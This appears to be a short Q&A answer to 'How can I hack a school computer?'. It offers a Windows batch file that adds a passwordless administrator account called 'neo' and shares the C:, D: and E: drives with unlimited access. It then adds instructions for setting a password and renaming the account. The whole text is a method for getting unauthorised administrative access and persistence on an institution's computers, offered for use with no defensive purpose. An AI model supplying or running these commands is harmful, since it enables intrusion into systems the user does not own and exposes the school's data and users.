How can I hack a school computer?

Make a .bat file with this data:

net user neo /add
net localgroup administrators neo /add
net share system=C:* /unlimited
net share system=D:* /unlimited
net share system=E:* /unlimited
Then run it and you will create a new system administrator called neo.

There would be no password.
If you want you can add a password later in Control Panel or in cmd.Like this:

net user neo *
Then you can type a new password and then reenter it.
The password would be changed.
Also you can change the username. It don't need to be neo. It can be anything else.
Just replace the neo when you are creating the new account.